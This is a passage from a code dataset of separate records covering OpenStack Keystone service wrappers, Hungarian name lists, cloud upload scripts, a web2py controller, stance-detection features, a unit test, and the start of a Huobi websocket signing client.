is_applicable(cls, clients):\n cloud_version = clients.keystone().version.split(\".\")[0][1:]\n return cloud_version == cls._meta_get(\"impl\")._meta_get(\"version\")\n\n @service.should_be_overridden\n def create_project(self, project_name=None, domain_name=\"Default\"):\n \"\"\"Creates new project/tenant and return project object.\n\n :param project_name: Name of project to be created.\n :param domain_name: Name or id of domain where to create project, for\n those service implementations that don't support\n domains you should use None or 'Default' value.\n \"\"\"\n return self._impl.create_project(project_name,\n domain_name=domain_name)\n\n @service.should_be_overridden\n def update_project(self, project_id, name=None, enabled=None,\n description=None):\n \"\"\"Update project name, enabled and description\n\n :param project_id: Id of project to update\n :param name: project name to be set\n :param enabled: enabled status of project\n :param description: project description to be set\n \"\"\"\n self._impl.update_project(project_id, name=name, enabled=enabled,\n description=description)\n\n @service.should_be_overridden\n def delete_project(self, project_id):\n \"\"\"Deletes project.\"\"\"\n return self._impl.delete_project(project_id)\n\n @service.should_be_overridden\n def list_projects(self):\n \"\"\"List all projects.\"\"\"\n return self._impl.list_projects()\n\n @service.should_be_overridden\n def get_project(self, project_id):\n \"\"\"Get project.\"\"\"\n return self._impl.get_project(project_id)\n\n @service.should_be_overridden\n def create_user(self, username=None, password=None, project_id=None,\n domain_name=\"Default\", enabled=True,\n default_role=\"member\"):\n \"\"\"Create user.\n\n :param username: name of user\n :param password: user password\n :param project_id: user's default project\n :param domain_name: Name or id of domain where to create user, for\n those service implementations that don't support\n domains you should use None or 'Default' value.\n :param enabled: whether the user is enabled.\n :param default_role: Name of role, for implementations that don't\n support domains this argument must be None or\n 'member'.\n \"\"\"\n return self._impl.create_user(username=username,\n password=password,\n project_id=project_id,\n domain_name=domain_name,\n default_role=default_role)\n\n @service.should_be_overridden\n def create_users(self, owner_id, number_of_users, user_create_args=None):\n \"\"\"Create specified amount of users.\n\n :param owner_id: Id of tenant/project\n :param number_of_users: number of users to create\n :param user_create_args: additional user creation arguments\n \"\"\"\n return self._impl.create_users(owner_id,\n number_of_users=number_of_users,\n user_create_args=user_create_args)\n\n @service.should_be_overridden\n def delete_user(self, user_id):\n \"\"\"Deletes user by its id.\"\"\"\n self._impl.delete_user(user_id)\n\n @service.should_be_overridden\n def list_users(self):\n \"\"\"List all users.\"\"\"\n return self._impl.list_users()\n\n @service.should_be_overridden\n def update_user(self, user_id, enabled=None, name=None, email=None,\n password=None):\n return self._impl.update_user(user_id, enabled=enabled, name=name,\n email=email, password=password)\n\n @service.should_be_overridden\n def get_user(self, user_id):\n \"\"\"Get user.\"\"\"\n return self._impl.get_user(user_id)\n\n @service.should_be_overridden\n def create_service(self, name=None, service_type=None, description=None):\n \"\"\"Creates keystone service with random name.\n\n :param name: name of service to create\n :param service_type: type of the service\n :param description: description of the service\n \"\"\"\n return self._impl.create_service(name=name, service_type=service_type,\n description=description)\n\n @service.should_be_overridden\n def delete_service(self, service_id):\n \"\"\"Deletes service.\"\"\"\n self._impl.delete_service(service_id)\n\n @service.should_be_overridden\n def list_services(self):\n \"\"\"List all services.\"\"\"\n return self._impl.list_services()\n\n @service.should_be_overridden\n def get_service(self, service_id):\n \"\"\"Get service.\"\"\"\n return self._impl.get_service(service_id)\n\n @service.should_be_overridden\n def create_role(self, name=None, domain_name=None):\n \"\"\"Create role with specific name\n\n :param name: role name\n :param domain_name: Name or id of domain where to create role, for\n those service implementations that don't support\n domains you should use None or 'Default' value.\n \"\"\"\n return self._impl.create_role(name=name, domain_name=domain_name)\n\n @service.should_be_overridden\n def add_role(self, role_id, user_id, project_id):\n \"\"\"Add role to user.\"\"\"\n return self._impl.add_role(role_id=role_id, user_id=user_id,\n project_id=project_id)\n\n @service.should_be_overridden\n def delete_role(self, role_id):\n \"\"\"Deletes role.\"\"\"\n self._impl.delete_role(role_id)\n\n @service.should_be_overridden\n def revoke_role(self, role_id, user_id, project_id):\n \"\"\"Revokes a role from a user.\"\"\"\n return self._impl.revoke_role(role_id=role_id, user_id=user_id,\n project_id=project_id)\n\n @service.should_be_overridden\n def list_roles(self, user_id=None, project_id=None, domain_name=None):\n \"\"\"List all roles.\n\n :param user_id: filter in role grants for the specified user on a\n resource. Domain or project must be specified.\n :param project_id: filter in role grants on the specified project.\n user_id should be specified\n :param domain_name: filter in role grants on the specified domain.\n user_id should be specified\n \"\"\"\n return self._impl.list_roles(user_id=user_id, project_id=project_id,\n domain_name=domain_name)\n\n @service.should_be_overridden\n def get_role(self, role_id):\n \"\"\"Get role.\"\"\"\n return self._impl.get_role(role_id)\n\n @service.should_be_overridden\n def get_service_by_name(self, name):\n \"\"\"List all services to find proper one.\"\"\"\n return self._impl.get_service_by_name(name)\n\n @service.should_be_overridden\n def create_ec2credentials(self, user_id, project_id):\n \"\"\"Create ec2credentials.\n\n :param user_id: User ID for which to create credentials\n :param project_id: Project ID for which to create credentials\n\n :returns: Created ec2-credentials object\n \"\"\"\n return self._impl.create_ec2credentials(user_id=user_id,\n project_id=project_id)\n\n @service.should_be_overridden\n def list_ec2credentials(self, user_id):\n \"\"\"List of access/secret pairs for a user_id.\n\n :param user_id: List all ec2-credentials for User ID\n\n :returns: Return ec2-credentials list\n \"\"\"\n return self._impl.list_ec2credentials(user_id)\n\n @service.should_be_overridden\n def delete_ec2credential(self, user_id, access):\n \"\"\"Delete ec2credential.\n\n :param user_id: User ID for which to delete credential\n :param access: access key for ec2credential to delete\n \"\"\"\n return self._impl.delete_ec2credential(user_id=user_id, access=access)\n\n @service.should_be_overridden\n def fetch_token(self):\n \"\"\"Authenticate user token.\"\"\"\n return self._impl.fetch_token()\n\n @service.should_be_overridden\n def validate_token(self, token):\n \"\"\"Validate user token.\n\n :param token: Auth token to validate\n \"\"\"\n return self._impl.validate_token(token)\n", "source": "RSE-Cambridge/rally-openstack", "license": "Apache-2.0"}
+{"text": "male = [\n 'Bence',\n 'M\u00e1t\u00e9',\n 'Levente',\n 'Noel',\n '\u00c1d\u00e1m',\n 'Marcell',\n 'Dominik',\n 'D\u00e1vid',\n 'D\u00e1niel',\n 'Mil\u00e1n',\n 'Botond',\n 'Zal\u00e1n',\n '\u00c1ron',\n 'Oliv\u00e9r',\n 'Bal\u00e1zs',\n 'Krist\u00f3f',\n 'P\u00e9ter',\n 'Tam\u00e1s',\n 'Zsombor',\n 'M\u00e1rk',\n 'L\u00e1szl\u00f3',\n 'Gerg\u0151',\n 'B\u00e1lint',\n 'Nimr\u00f3d',\n 'Benett',\n 'Zolt\u00e1n',\n 'Benedek',\n 'Attila',\n 'Barnab\u00e1s',\n 'Patrik',\n 'Andr\u00e1s',\n '\u00c1kos',\n 'Istv\u00e1n',\n 'G\u00e1bor',\n 'M\u00e1rton',\n 'Z\u00e9t\u00e9ny',\n 'Kriszti\u00e1n',\n 'Zsolt',\n 'Martin',\n 'Alex',\n 'J\u00e1nos',\n 'Vince',\n 'Roland',\n 'J\u00f3zsef',\n 'Korn\u00e9l',\n 'Hunor',\n 'Csaba',\n 'S\u00e1ndor',\n 'Rich\u00e1rd',\n 'Kevin',\n 'R\u00f3bert',\n 'Erik',\n '\u00c1bel',\n 'N\u00e1ndor',\n 'Ferenc',\n 'Norbert',\n 'Benj\u00e1min',\n 'M\u00e1ty\u00e1s',\n 'Zente',\n 'Szabolcs',\n '\u00c1rmin',\n 'Bendeg\u00faz',\n 'Mih\u00e1ly',\n 'Soma',\n 'Brendon',\n 'Gergely',\n 'Viktor',\n 'Tibor',\n 'Benjamin',\n 'Vilmos',\n 'Csongor',\n 'Nikolasz',\n 'Imre',\n 'Nolen',\n 'Mikl\u00f3s',\n 'Kende',\n 'Boldizs\u00e1r',\n 'Krisztofer',\n 'Simon',\n 'Lajos',\n 'D\u00e9nes',\n 'Alexander',\n 'Adri\u00e1n',\n 'Don\u00e1t',\n 'Szil\u00e1rd',\n 'Gy\u00f6rgy',\n 'Bertalan',\n 'Gyula',\n 'Z\u00e9n\u00f3',\n 'Bende',\n 'Gell\u00e9rt',\n 'K\u00e1roly',\n 'Rik\u00e1rd\u00f3',\n 'Csan\u00e1d',\n 'Iv\u00e1n',\n 'Vencel',\n 'Denisz',\n 'S\u00e1muel',\n 'P\u00e1l',\n 'Zsigmond'\n]\n\nfemale = [\n 'Hanna',\n 'Anna',\n 'Zo\u00e9',\n 'Luca',\n 'Emma',\n 'Zs\u00f3fia',\n 'J\u00e1zmin',\n 'N\u00f3ra',\n 'Bogl\u00e1rka',\n 'L\u00e9na',\n 'Maja',\n 'Lili',\n 'Gr\u00e9ta',\n 'Laura',\n 'Izabella',\n 'Mira',\n 'Fanni',\n 'Dorina',\n 'Lilla',\n 'D\u00f3ra',\n 'Csenge',\n 'Fl\u00f3ra',\n 'S\u00e1ra',\n 'Vikt\u00f3ria',\n 'R\u00e9ka',\n 'Eszter',\n 'Liza',\n 'Ad\u00e9l',\n 'Petra',\n 'Zselyke',\n 'Lili\u00e1na',\n 'No\u00e9mi',\n 'Al\u00edz',\n 'Lara',\n 'Bianka',\n 'Vivien',\n 'Dorka',\n 'Natasa',\n 'Lilien',\n 'Ol\u00edvia',\n 'Panna',\n 'Rebeka',\n 'Kamilla',\n 'Sz\u00f3fia',\n 'Janka',\n 'Em\u00edlia',\n 'Blanka',\n 'Amira',\n 'Szonja',\n 'Bella',\n 'Szofia',\n 'Nat\u00e1lia',\n 'J\u00falia',\n 'Elizabet',\n 'Fruzsina',\n 'Kinga',\n 'Lia',\n 'Regina',\n 'Abig\u00e9l',\n 'Szofi',\n 'Norina',\n 'Hanga',\n 'Lotti',\n 'Alexandra',\n 'Tamara',\n 'Mirella',\n 'Borb\u00e1la',\n 'Barbara',\n 'Eliza',\n 'Mia',\n 'Linett',\n 'Emese',\n 'Bor\u00f3ka',\n 'Kiara',\n 'Enik\u0151',\n 'R\u00f3za',\n 'Zita',\n 'B\u00edborka',\n 'Veronika',\n 'Emili',\n 'Leila',\n 'Let\u00edcia',\n 'Dalma',\n 'Johanna',\n 'Vir\u00e1g',\n 'Dorottya',\n 'Kincs\u0151',\n 'Annabella',\n 'Vanessza',\n 'H\u00e9di',\n 'Nikolett',\n 'T\u00edmea',\n 'Vanda',\n 'Kata',\n 'Kitti',\n 'Adrienn',\n 'Zorka',\n 'Krisztina',\n 'Di\u00e1na',\n 'Zara'\n]\n\nlast = [\n 'T\u00f3th',\n 'Nagy',\n 'Szab\u00f3',\n 'Kov\u00e1cs',\n 'Varga',\n 'Horv\u00e1th',\n 'Kiss',\n 'Moln\u00e1r',\n 'N\u00e9meth',\n 'Farkas',\n 'Tak\u00e1cs',\n 'Balogh',\n 'Papp',\n 'Juh\u00e1sz',\n 'Szil\u00e1gyi',\n 'M\u00e9sz\u00e1ros',\n 'Simon',\n 'Sz\u0171cs',\n 'Fekete',\n 'T\u00f6r\u00f6k',\n 'R\u00e1cz',\n 'Ol\u00e1h',\n 'Szalai',\n 'Feh\u00e9r',\n 'G\u00e1l',\n 'Pint\u00e9r',\n 'Bal\u00e1zs',\n 'Kocsis',\n 'Lakatos',\n 'Fodor',\n 'Vincze',\n 'S\u00e1ndor',\n 'Veres',\n 'Magyar',\n 'Kis',\n 'Sipos',\n 'Katona',\n 'Vass',\n 'Kir\u00e1ly',\n 'Heged\u0171s',\n 'Luk\u00e1cs',\n 'V\u00f6r\u00f6s',\n 'Sz\u0151ke',\n 'Guly\u00e1s',\n 'Fazekas',\n 'V\u00e1radi',\n 'Somogyi',\n 'L\u00e1szl\u00f3',\n 'Kelemen',\n 'F\u00fcl\u00f6p',\n 'Antal',\n 'Orosz',\n 'Sz\u00e9kely',\n 'Boros',\n 'Jakab',\n 'P\u00e1l',\n 'B\u00e1lint',\n 'Tam\u00e1s',\n 'De\u00e1k',\n 'Szekeres',\n 'Lengyel',\n 'Ill\u00e9s',\n 'V\u00e9gh',\n 'F\u00e1bi\u00e1n',\n 'Bodn\u00e1r',\n 'Bogn\u00e1r',\n 'Vir\u00e1g',\n 'Pap',\n 'Bir\u00f3',\n 'P\u00e1sztor',\n 'Kozma',\n 'Hal\u00e1sz',\n 'Sz\u00fccs',\n 'Sz\u00e1nt\u00f3',\n 'M\u00e1t\u00e9',\n 'Budai',\n 'Bakos',\n '\u00c1cs',\n 'Major',\n 'Vida',\n 'Vajda',\n 'So\u00f3s',\n 'B\u00edr\u00f3',\n 'Dud\u00e1s',\n 'Nov\u00e1k',\n 'Nemes',\n 'Barna',\n 'Orb\u00e1n',\n 'G\u00e1sp\u00e1r',\n 'Hajdu',\n 'Urb\u00e1n',\n 'S\u00e1rk\u00f6zi',\n 'Kerekes',\n 'Balog',\n 'Sz\u00e1sz',\n 'Dobos',\n '\u00c1d\u00e1m',\n 'Balla',\n 'Barta',\n 'P\u00e9ter',\n 'Borb\u00e9ly',\n 'Szegedi',\n 'M\u00e1rton',\n 'Szak\u00e1cs',\n 'Pataki',\n 'L\u0151rincz',\n 'Kert\u00e9sz',\n 'Kun',\n 'Cseh',\n 'Farag\u00f3',\n 'Kardos',\n 'L\u00e9vai',\n 'Szigeti',\n 'Szalay',\n 'D\u00e1vid',\n 'Szatm\u00e1ri',\n 'Mezei',\n 'Heged\u00fcs',\n 'Sebesty\u00e9n',\n 'Erd\u00e9lyi',\n 'R\u00f3zsa',\n 'Erdei',\n 'K\u00e1lm\u00e1n',\n 'L\u00e1z\u00e1r',\n 'Gergely',\n 'Szarka',\n 'Vas',\n 'Gy\u0151ri',\n 'Hegyi',\n 'Marton',\n 'Kulcs\u00e1r',\n 'B\u00e9res',\n 'Herczeg',\n 'Fejes',\n 'Berta',\n 'Demeter',\n 'Husz\u00e1r',\n 'Kalm\u00e1r',\n 'Ga\u00e1l',\n 'Koll\u00e1r',\n 'Csonka',\n 'K\u00f3sa',\n 'Pusk\u00e1s',\n 'Kurucz',\n 'S\u00e1nta',\n 'Hajd\u00fa',\n 'Mikl\u00f3s',\n 'Polg\u00e1r',\n 'Schmidt',\n 'Kecsk\u00e9s',\n 'Bogd\u00e1n',\n 'Vigh',\n 'Baranyai',\n 'Tar',\n 'G\u00e1bor',\n 'Pet\u0151',\n 'Csizmadia',\n 'J\u00f3n\u00e1s',\n 'Ferenczi',\n 'Baranyi',\n 'K\u00e1d\u00e1r',\n 'M\u00fcller',\n 'Bartha',\n 'Seres',\n 'Koncz',\n 'B\u00f3di',\n 'Cs\u00e1sz\u00e1r',\n 'J\u00f3zsa',\n 'M\u00e1rkus',\n 'Bak\u00f3',\n 'Vad\u00e1sz',\n 'Szabados',\n 'Csord\u00e1s',\n 'S\u00e1ri',\n 'Torma',\n 'Imre',\n '\u00c1brah\u00e1m',\n 'Majoros',\n 'Erd\u0151s',\n 'Bar\u00e1th',\n 'S\u00fct\u0151',\n 'P\u00e1lfi',\n 'Szarvas',\n 'Csontos',\n 'Seb\u0151k',\n '\u00c1goston',\n 'Galambos',\n 'Berki',\n 'Elek',\n 'Ors\u00f3s',\n 'Mez\u0151',\n 'Benk\u0151',\n 'Pusztai',\n 'Boda',\n 'Ambrus',\n 'Sallai',\n '\u00c1rvai',\n 'F\u00f6ldi',\n 'Sz\u00e9p',\n 'Mayer'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\nimport os\nimport mlsqltestssupport.aliyun.config as config\n\n\nif not os.environ['MLSQL_RELEASE_TAR']:\n raise ValueError('MLSQL_RELEASE_TAR should be configured')\n\nfileName = os.environ['MLSQL_RELEASE_TAR']\n\nbucket = config.ossClient()\n\nbucket.put_object_from_file(fileName.split(\"/\")[-1], fileName)\n\nprint(\"success uploaded\")\n", "source": "zhuimengrenweijian/mlsql", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n## - api is an example of Hypermedia API support and access control\n#########################################################################\n\ndef index():\n acuse = request.vars['acuse']\n q=db.acuse.codigo==acuse\n row = db(q).select().first()\n #cid = db(db.container.barcode==form.vars.containercode).select().first()\n #return dict(row=row)\n message=\"Demo Acuse QP\"\n return dict(q=q,acuse=acuse,row=row,message=message)\n\n\ndef user():\n \"\"\"\n exposes:\n http://..../[app]/default/user/login\n http://..../[app]/default/user/logout\n http://..../[app]/default/user/register\n http://..../[app]/default/user/profile\n http://..../[app]/default/user/retrieve_password\n http://..../[app]/default/user/change_password\n http://..../[app]/default/user/manage_users (requires membership in\n use @auth.requires_login()\n @auth.requires_membership('group name')\n @auth.requires_permission('read','table name',record_id)\n to decorate functions that need access control\n \"\"\"\n return dict(form=auth())\n\n\n@cache.action()\ndef download():\n \"\"\"\n allows downloading of uploaded files\n http://..../[app]/default/download/[filename]\n \"\"\"\n return response.download(request, db)\n\n\ndef call():\n \"\"\"\n exposes services. for example:\n http://..../[app]/default/call/jsonrpc\n decorate with @services.jsonrpc the functions to expose\n supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n \"\"\"\n return service()\n\n\n@auth.requires_login() \ndef api():\n \"\"\"\n this is example of API with access control\n WEB2PY provides Hypermedia API (Collection+JSON) Experimental\n \"\"\"\n from gluon.contrib.hypermedia import Collection\n rules = {\n '': {'GET':{},'POST':{},'PUT':{},'DELETE':{}},\n }\n return Collection(db).process(request,response,rules)\n", "source": "Mexarm/web2pytests", "license": "BSD-3-Clause"}
+{"text": "import os\nimport re\nimport nltk\nimport numpy as np\nfrom sklearn import feature_extraction\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.metrics import jaccard_similarity_score\nfrom tqdm import tqdm\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport pickle\n\n\n_wnl = nltk.WordNetLemmatizer()\n\n\ndef normalize_word(w):\n return _wnl.lemmatize(w).lower()\n\n\ndef get_tokenized_lemmas(s):\n return [normalize_word(t) for t in nltk.word_tokenize(s)]\n\n\ndef clean(s):\n # Cleans a string: Lowercasing, trimming, removing non-alphanumeric\n\n return \" \".join(re.findall(r'\\w+', s, flags=re.UNICODE)).lower()\n\n\ndef remove_stopwords(l):\n # Removes stopwords from a list of tokens\n return [w for w in l if w not in feature_extraction.text.ENGLISH_STOP_WORDS]\n\n\ndef gen_or_load_feats(feat_fn, headlines, bodies, feature_file):\n if not os.path.isfile(feature_file):\n feats = feat_fn(headlines, bodies)\n np.save(feature_file, feats)\n\n return np.load(feature_file)\n\n\n\n\ndef word_overlap_features(headlines, bodies):\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n clean_headline = get_tokenized_lemmas(clean_headline)\n clean_body = get_tokenized_lemmas(clean_body)\n features = [\n len(set(clean_headline).intersection(clean_body)) / float(len(set(clean_headline).union(clean_body)))]\n X.append(features)\n return X\n\n\ndef refuting_features(headlines, bodies):\n _refuting_words = [\n 'fabricated',\n 'invented', 'invented',\n 'fake',\n 'fraud',\n 'hoax',\n 'false',\n 'deny', 'denies',\n 'not',\n 'despite',\n 'nope',\n 'doubt', 'doubts',\n 'bogus',\n 'debunk',\n 'pranks',\n 'retract',\n 'lie', 'lies',\n 'bullshit',\n 'stage', 'stagged',\n 'rumor', 'rumors'\n ]\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_headline = get_tokenized_lemmas(clean_headline)\n features = [1 if word in clean_headline else 0 for word in _refuting_words]\n X.append(features)\n return X\n\n\ndef polarity_features(headlines, bodies):\n _refuting_words = [\n 'fabricated',\n 'invented', 'invented',\n 'fake',\n 'fraud',\n 'hoax',\n 'false',\n 'deny', 'denies',\n 'not',\n 'despite',\n 'nope',\n 'doubt', 'doubts',\n 'bogus',\n 'debunk',\n 'pranks',\n 'retract',\n 'lie', 'lies',\n 'bullshit',\n 'stage', 'stagged',\n 'rumor', 'rumors'\n ]\n\n def calculate_polarity(text):\n tokens = get_tokenized_lemmas(text)\n return sum([t in _refuting_words for t in tokens]) / len(_refuting_words)\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n features = []\n features.append(calculate_polarity(clean_headline))\n features.append(calculate_polarity(clean_body))\n X.append(features)\n return np.array(X)\n\n\ndef ngrams(input, n):\n input = input.split(' ')\n output = []\n for i in range(len(input) - n + 1):\n output.append(input[i:i + n])\n return output\n\n\ndef chargrams(input, n):\n output = []\n for i in range(len(input) - n + 1):\n output.append(input[i:i + n])\n return output\n\n\ndef append_chargrams(features, text_headline, text_body, size):\n grams = [' '.join(x) for x in chargrams(\" \".join(remove_stopwords(text_headline.split())), size)]\n grams_hits = 0\n grams_early_hits = 0\n grams_first_hits = 0\n for gram in grams:\n if gram in text_body:\n grams_hits += 1\n if gram in text_body[:255]:\n grams_early_hits += 1\n if gram in text_body[:100]:\n grams_first_hits += 1\n features.append(grams_hits)\n features.append(grams_early_hits)\n features.append(grams_first_hits)\n return features\n\n\ndef append_ngrams(features, text_headline, text_body, size):\n grams = [' '.join(x) for x in ngrams(text_headline, size)]\n grams_hits = 0\n grams_early_hits = 0\n for gram in grams:\n if gram in text_body:\n grams_hits += 1\n if gram in text_body[:255]:\n grams_early_hits += 1\n features.append(grams_hits)\n features.append(grams_early_hits)\n return features\n\n\ndef hand_features(headlines, bodies):\n\n def binary_co_occurence(headline, body):\n # Count how many times a token in the title\n # appears in the body text.\n bin_count = 0\n bin_count_early = 0\n for headline_token in clean(headline).split(\" \"):\n if headline_token in clean(body):\n bin_count += 1\n if headline_token in clean(body)[:255]:\n bin_count_early += 1\n return [bin_count, bin_count_early]\n\n def binary_co_occurence_stops(headline, body):\n # Count how many times a token in the title\n # appears in the body text. Stopwords in the title\n # are ignored.\n bin_count = 0\n bin_count_early = 0\n for headline_token in remove_stopwords(clean(headline).split(\" \")):\n if headline_token in clean(body):\n bin_count += 1\n bin_count_early += 1\n return [bin_count, bin_count_early]\n\n def count_grams(headline, body):\n # Count how many times an n-gram of the title\n # appears in the entire body, and intro paragraph\n\n clean_body = clean(body)\n clean_headline = clean(headline)\n features = []\n features = append_chargrams(features, clean_headline, clean_body, 2)\n features = append_chargrams(features, clean_headline, clean_body, 8)\n features = append_chargrams(features, clean_headline, clean_body, 4)\n features = append_chargrams(features, clean_headline, clean_body, 16)\n features = append_ngrams(features, clean_headline, clean_body, 2)\n features = append_ngrams(features, clean_headline, clean_body, 3)\n features = append_ngrams(features, clean_headline, clean_body, 4)\n features = append_ngrams(features, clean_headline, clean_body, 5)\n features = append_ngrams(features, clean_headline, clean_body, 6)\n return features\n\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n X.append(binary_co_occurence(headline, body)\n + binary_co_occurence_stops(headline, body)\n + count_grams(headline, body))\n\n\n return X\n\ndef sentiment_features(headlines, bodies):\n\n def calculate_sentiment(text,analyzer):\n vs = analyzer.polarity_scores(text)\n return np.argmax([vs['neg'], vs['pos']])\n\n X = []\n analyzer = SentimentIntensityAnalyzer()\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n features = []\n features.append(calculate_sentiment(clean_headline,analyzer))\n features.append(calculate_sentiment(clean_body,analyzer))\n X.append(features)\n return np.array(X)\n\ndef cosine_tfidf_features(headlines, bodies):\n\n X = []\n tfidf = feature_extraction.text.TfidfVectorizer()\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n matrix = tfidf.fit_transform([clean_headline, clean_body])\n X.append(cosine_similarity(matrix[0], matrix[1])[0][0])\n return np.array(X)\n\ndef bleu_features(headlines, bodies):\n\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n matrix = nltk.translate.bleu_score.sentence_bleu(clean_headline, clean_body)\n X.append(matrix)\n return np.array(X)\n\ndef glove_features(headlines, bodies):\n X = []\n model = get_glove()\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n clean_headline = get_tokenized_lemmas(clean_headline)\n clean_body = get_tokenized_lemmas(clean_body)\n\n vector_headline = transform_text(model,clean_headline,20)\n vector_body = transform_text(model,clean_body,200)\n X.append([vector_headline, vector_body])\n return np.array(X)\n\ndef get_glove():\n if os.path.isfile('rnn/data/glove.pickle'):\n with open('rnn/data/glove.pickle', 'rb') as handle:\n return pickle.load(handle)\n else:\n if os.path.isfile('rnn/data/glove.6B.100d.txt'):\n glove_dict = {}\n with open('rnn/data/glove.6B.100d.txt') as f:\n i=0\n for a in f:\n glove_dict[a.split()[0]] = i\n i = i+1\n with open('rnn/data/glove.pickle', 'wb') as handle:\n pickle.dump(glove_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)\n return glove_dict \n\ndef transform_text(w2vmodel, words, maxlen=20):\n data = list()\n for i in range(0, maxlen): #range(0, len(words)-1):\n if i < len(words):\n word = words[i]\n if word in w2vmodel:\n index = w2vmodel[word]\n else:\n index = w2vmodel[\"unk\"]\n else:\n index = w2vmodel[\"unk\"]\n data.append(index)\n return np.asarray(data)\n\ndef get_glove_matrix():\n X = []\n if os.path.isfile('rnn/data/glove.6B.100d.txt'):\n with open('rnn/data/glove.6B.100d.txt') as f:\n for a in f:\n X.append(np.fromstring((\" \".join(a.split()[1:])), dtype=float, sep=' '))\n return np.array(X)", "source": "bertop89/fnc-1-baseline", "license": "Apache-2.0"}
+{"text": "import unittest\nfrom nose.tools import assert_equals\nfrom robotide.ui.actiontriggers import _NameBuilder\n\n\nclass TestGetNameWithAccelerator(unittest.TestCase):\n\n def setUp(self):\n self._nb = _NameBuilder()\n\n def _test(self, input, expected):\n assert_equals(self._nb.get_name(input), expected)\n\n def test_use_first_free_char(self):\n self._test('File', '&File')\n self._test('Foo', 'F&oo')\n self._test('Foobar', 'Foo&bar')\n\n def test_case_insensitive(self):\n self._test('File', '&File')\n self._test('foo', 'f&oo')\n self._test('bar', '&bar')\n self._test('Barbi', 'B&arbi')\n\n def test_all_letters_taken(self):\n self._test('File', '&File')\n self._test('Open', '&Open')\n self._test('Foo', 'Foo')\n\n def test_space_is_not_used(self):\n self._test('File', '&File')\n self._test('Open', '&Open')\n self._test('Foo Bar', 'Foo &Bar')\n\n def test_free_given(self):\n self._test('&File', '&File')\n self._test('O&pen', 'O&pen')\n\n def test_non_free_given(self):\n self._test('&File', '&File')\n self._test('&Foo', 'F&oo')\n self._test('&Open', 'O&pen')\n self._test('F&oo Bar', 'Foo &Bar')\n self._test('&Fofo', 'Fofo')\n\n def test_get_same_acc_for_same_name(self):\n for name in 'F&ile', 'File', '&File', 'FI&LE', 'fil&e', 'file':\n self._test(name, 'F&ile')\n\n def test_ambersand_at_end_is_ignored(self):\n self._test('File&', '&File')\n\n def test_get_registered_name(self):\n self._test('&File', '&File')\n for name in 'F&ile', 'File', '&File', 'FI&LE', 'fil&e', 'file':\n assert_equals(self._nb.get_registered_name(name), '&File')\n assert_equals(self._nb.get_registered_name('Non Existing'), None)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "hoteltianya/RIDE", "license": "ECL-2.0"}
+{"text": "# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport logging\nimport uuid\nimport time\nimport glob\nimport subprocess\n\nfrom dotenv import load_dotenv\n\nfrom s3 import get_s3, store_stream_s3, get_matching_s3_keys, get_object_to_file\n\nload_dotenv()\nBUCKET = os.environ.get(\"BUCKET\")\nPATH_DATA = os.environ.get(\"PATH_DATA\", \"./data\")\n\n\ndef put_files(stack, spec):\n p = os.path.join(PATH_DATA, stack)\n if not os.path.exists(p):\n print(\"Path does not exist: {}\".format(p))\n raise SystemExit\n path = os.path.join(PATH_DATA, stack, spec)\n files = glob.glob(path)\n for fp in files:\n key = os.path.join(stack, fp.split(\"/\")[-1])\n print(\"uploading: {} => {}\".format(fp, key))\n store_stream_s3(BUCKET, open(fp, \"rb\"), key)\n\n\nif __name__ == \"__main__\":\n sys.exit(put_files(sys.argv[1], sys.argv[2]))\n", "source": "paul-wolf/focusstepper", "license": "MIT"}
+{"text": "import datetime\nimport uuid\nimport urllib\nimport asyncio\nimport websockets\nimport json\nimport hmac\nimport base64\nimport hashlib\nimport gzip\nimport traceback\n\n \n\ndef generate_signature(host, method, params, request_path, secret_key):\n \"\"\"Generate signature of huobi future.\n \n Args:\n host: api domain url.PS: colo user should set this host as 'api.hbdm.com',not colo domain.\n method: request method.\n params: request params.\n request_path: \"/notification\"\n secret_key: api secret_key\n Returns:\n singature string.\n \"\"\"\n host_url = urllib.parse.urlparse(host).hostname.lower()\n sorted_params = sorted(params.items(), key=lambda d: d[0], reverse=False)\n encode_params = urllib.parse.urlencode(sorted_params)\n payload = [method, host_url, request_path, encode_params]\n payload = \"\\n\".join(payload)\n payload = payload.encode(encoding=\"UTF8\")\n secret_key = secret_key.encode(encoding=\"utf8\")\n digest = hmac.new(secret_key, payload, digestmod=hashlib.sha256).digest()\n signature = base64.b64encode(digest)\n signature = signature.decode()\n return signature\n\nasync def subscribe(url, access_key, secret_key, subs, callback=None, auth=False):\n \"\"\" Huobi Future subscribe websockets.\n Args:\n url: the url to be signatured.\n access_key: API access_key.\n secret_key: API secret_key.\n subs: the data list to subscribe.\n callback: the callback function to handle the ws data received. \n auth: True: Need to be signatured. False: No need to be signatured.\n \"\"\"\n async with websockets.connect(url) as websocket:\n if auth:\n timestamp = datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S\")\n data = {\n \"AccessKeyId\": access_key,\n \"SignatureMethod\": \"HmacSHA256\",\n \"SignatureVersion\": \"2\",\n \"Timestamp\": timestamp\n }\n sign = generate_signature(url,\"GET\", 